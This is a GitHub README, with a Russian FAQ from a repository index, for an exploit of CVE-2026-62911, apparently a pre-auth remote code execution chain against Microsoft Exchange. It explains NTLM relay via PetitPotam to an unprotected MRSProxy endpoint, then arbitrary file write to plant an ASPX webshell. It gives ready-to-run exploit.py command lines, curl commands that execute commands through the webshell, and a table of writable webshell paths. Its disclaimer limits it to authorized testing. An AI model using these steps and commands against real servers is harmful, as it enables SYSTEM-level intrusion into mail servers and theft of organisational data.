CVE-2026-62911 README

The project's README from github.com/hypnguyen1209/CVE-2026-62911. As one markdown file: README.md.

CVE-2026-62911

Pre-auth RCE on Microsoft Exchange Server. No credentials needed.

Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.

What it does

Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:

Path Hosted by Extended Protection
/EWS/MRSProxy.svc IIS Yes. Safe.
/Microsoft.Exchange.MailboxReplicationService.ProxyService HTTP.sys No. Relay target.

The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold ms-Exch-EPI-Token-Serialization by default, so the WCF service grants full access.

Once inside, IMailbox_Config6() takes a filePath parameter. PstDestinationMailbox.ConfigPst() writes whatever path you give it. No extension check. Point it at an IIS directory, call IMailbox_Connect(), and a file lands on disk. Make that file an ASPX webshell. Done.

The config that makes this possible

<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

WCF interface (relevant methods)

[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Affected versions

Product Vulnerable below Fixed KB
Exchange 2016 CU23 15.1.2507.72 15.1.2507.72 KB5121576
Exchange 2019 CU14 15.2.1544.43 15.2.1544.43 KB5121575
Exchange 2019 CU15 15.2.1748.48 15.2.1748.48 KB5121574
Exchange SE RTM 15.2.2562.45 15.2.2562.45 KB5121573

Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.

How the attack works

Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Five steps:

  1. Trigger MS-EFSR (EfsRpcOpenFileRaw) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.

  2. Your SMB listener grabs the NTLM negotiate from EX02$.

  3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.

  4. Send WCF calls: IMailbox_Config6 with a path like C:\inetpub\wwwroot\aspnet_client\shell.aspx, then IMailbox_Connect. Exchange writes the file.

  5. Hit the webshell. You're SYSTEM.

Running it

Install dependencies:

pip install impacket pysocks

Check if MRSProxy is exposed:

python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

You want to see Microsoft-HTTPAPI/2.0 with Negotiate in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.

Run the exploit:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

If PetitPotam needs auth on your target:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Through a SOCKS tunnel:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Pick a different write location:

python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verify the shell landed:

python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Use it:

curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Write paths that work

Disk path URL Why
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx /aspnet_client/system_web/shell.aspx Default IIS client scripts dir. Usually writable, serves ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx /aspnet_client/shell.aspx Same, shorter.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx /owa/auth/shell.aspx OWA auth folder.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx /ecp/auth/shell.aspx ECP auth folder.

References

For authorized testing only. Get written permission before running this against anything.

CVE-2026-62911 (hypnguyen1209/CVE-2026-62911)

Searching Database…

Что это?Эксплойт-пруф-оф-концепт для CVE-2026-62911 — pre-auth RCE в Microsoft Exchange Server, который ретранслирует хеш машинной учётной записи NTLM в службу MRSProxy, чтобы сбросить и запустить ASPX-вебшелл, получая полный доступ уровня SYSTEM без каких-либо учётных данных.
Как запустить эксплойт?Установите зависимости, вызовите MS-EFSR (PetitPotam) на одном сервере Exchange, чтобы заставить его аутентифицироваться на вашем SMB-слушателе, затем ретранслируйте эту NTLM-аутентификацию по HTTPS на конечную точку MRSProxy другого сервера; после этого скрипт вызывает IMailboxConfig6 и IMailboxConnect, чтобы записать ASPX-шелл на диск.
Нужно ли что-то особое настроить перед запуском?Нужны Python-зависимости проекта, SMB-слушатель для перехвата ретранслируемого NTLM negotiate, а в некоторых окружениях — SOCKS-туннель или дополнительная аутентификация PetitPotam, если её требует цель.
Это работает против любого сервера Exchange?Только непропатченные установки ниже исправленных сборок Exchange 2016 CU23, 2019 CU14/15 и Exchange SE RTM. Exchange 2016 уже снят с поддержки, так что его исправление доступно лишь через платные Extended Security Updates: непропатченные организации без ESU не имеют пути установки исправления.
Почему ретрансляция действительно срабатывает на Exchange?Конечная точка MRSProxy, размещённая на HTTP.sys, принимает аутентификацию Negotiate, но никогда не проверяет привязки каналов Extended Protection, поэтому ретранслируемый хеш машинной учётной записи принимается; у машинных учётных записей уже есть право ms-Exch-EPI-Token-Serialization, так что вызовы WCF авторизованы.
Как это использовали на Pwn2Own?Orange Tsai из DEVCORE использовал эту уязвимость как часть цепочки из трёх багов на Pwn2Own Berlin 2026, получив приз в 200 000 долларов за полный захват Exchange с правами SYSTEM.
Как проверить уязвимость цели перед эксплуатацией?Отправьте запрос по пути MRSProxy на HTTP.sys; если ответ 401 показывает Microsoft-HTTPAPI/2.0 с Negotiate, Extended Protection отсутствует и конечная точка уязвима.
Законно ли просто запускать это против любого сервера Exchange?Нет, в проекте прямо сказано, что он только для авторизованного тестирования и требует письменного разрешения перед запуском против любой цели.
Size
<0.1 MB
Stars
187
Updated
CommitAug 22
Age
1mo
Commits · 90 Days